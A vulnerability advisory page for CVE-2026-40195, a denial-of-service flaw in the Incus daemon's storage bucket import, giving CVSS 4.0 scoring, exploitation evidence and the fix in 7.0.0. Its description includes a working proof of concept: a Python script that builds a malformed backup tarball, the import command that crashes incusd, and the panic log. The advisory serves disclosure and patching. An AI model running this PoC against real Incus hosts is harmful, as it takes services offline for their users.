VulnerabilityPublished 4 May 2026Updated 8 May 2026

CVE-2026-40195: Incusd · Incus has a Nil-Pointer Dereference Panic via Bucket Metadata

Affects github.com/lxc/incus/v6/cmd/incusdSource GCVE Database

Authoritative record:CVE-2026-40195· High 7.1

Not known to be exploited · CVSS 7.1 High : upgrade to 7.0.0 soon.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 4.0 base score

7.1High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 7.0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: Low
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: Low: The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 6 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/lxc/incus/v6/cmd/incusd to 7.0.0.

Affected software

Product	Affected	Fixed in
Gogithub.com/lxc/incus/v6/cmd/incusd	Affected <7.0.0	Fixed in 7.0.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary Missing validation logic in the storage bucket import logic allows an authenticated user with access to Incus' storage bucket feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service. ### Details The storage bucket migration subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during bucket import operations. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and then accesses members of the parsed backup configuration without first verifying that the configuration object was initialized. In Go, dereferencing a nil pointer triggers a runtime panic. Because CreateBucketFromBackup assumes that srcBackup.Config is populated from the supplied archive, a malicious or malformed index.yaml that omits the config block causes the daemon to dereference a nil pointer and terminate. This results in denial of service on the affected node. Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go Affected Code: ``` func (b *backend) CreateBucketFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error { [...] bucketRequest := api.StorageBucketsPost{ Name: srcBackup.Name, StorageBucketPut: srcBackup.Config.Bucket.StorageBucketPut, } // Create the bucket to import. err = b.CreateBucket(srcBackup.Project, bucketRequest, op) if err != nil { return err } reverter.Add(func() { _ = b.DeleteBucket(srcBackup.Project, bucketRequest.Name, op) }) // Upload all keys from the backup. for _, bucketKey := range srcBackup.Config.BucketKeys { bucketKeyRequest := api.StorageBucketKeysPost{ Name: bucketKey.Name, StorageBucketKeyPut: bucketKey.StorageBucketKeyPut, } _, err := b.CreateBucketKey(srcBackup.Project, srcBackup.Name, bucketKeyRequest, op) if err != nil { return err } } // Upload all files from the backup. backupKey, err := b.getFirstAdminStorageBucketPoolKey(srcBackup.Project, srcBackup.Name) if err != nil { return err } [...] } ``` ### PoC The following PoC demonstrates that a malformed bucket backup archive with an index.yaml file that omits the config block can trigger a nil-pointer dereference and crash the incusd daemon during bucket import. Step 1: Create the malformed archive From a client or workstation with Python available, generate a minimal bucket backup archive whose index.yaml omits the config section. Commands: ``` cat <<EOF > poc_bucket_nil.py import tarfile import io index_content = b"name: dos-trigger\n" with tarfile.open("nil_panic.tar.gz", "w:gz") as tar: info = tarfile.TarInfo(name="backup/index.yaml") info.size = len(index_content) tar.addfile(info, io.BytesIO(index_content)) print("[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz") EOF python3 poc_bucket_nil.py ``` Result: ``` [+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz ``` Step 2: Trigger the vulnerable bucket import path From an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool. Command: ``` incus storage bucket import local-pool nil_panic.tar.gz crash-test ``` Result: ``` Error: Operation not found ``` Step 3: Verify the daemon panic On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer panic in the bucket import path. Command: ``` journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic" ``` Result: ``` Mar 23 17:19:11 incus-7a incusd[237735]: panic: runtime error: invalid memory address or nil pointer dereference Mar 23 17:19:11 incus-7a incusd[237735]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x60 pc=0x168a223] Mar 23 17:19:11 incus-7a incusd[237735]: goroutine 9635 [running]: Mar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateBucketFromBackup(0x254e0c0706c0, {{0x254e0cd77263, 0x9}, {0x254e0c408ce0, 0xa}, {0x0, 0x0}, {0x254e0c964c48, 0xa}, {0x0, ...}, ...}, ...) Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7754 +0x303 Mar 23 17:19:11 incus-7a incusd[237735]: main.createStoragePoolBucketFromBackup.func3(0x191ca65?) Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/cmd/incusd/storage_buckets.go:1467 +0x19c Mar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x254e0c333400) Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26 Mar 23 17:19:11 incus-7a incusd[237735]: created by github.com/lx

CWE-476NULL Pointer Dereference (opens in a new tab)
Base weaknessLikelihood of exploit: MediumCWE Top 25 (2025): #13OWASP Top 10 A10:2025: Mishandling of Exceptional Conditions (opens in a new tab)
The product dereferences a pointer that it expects to be valid but is NULL.
Implementation
For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished.
Requirements
Select a programming language that is not susceptible to these issues.
Implementation
Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
OWASP Cheat Sheets
Logging (opens in a new tab)
Error Handling (opens in a new tab)
OWASP ASVS 4.0.3
V11.1.7 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-476

Technical details

References

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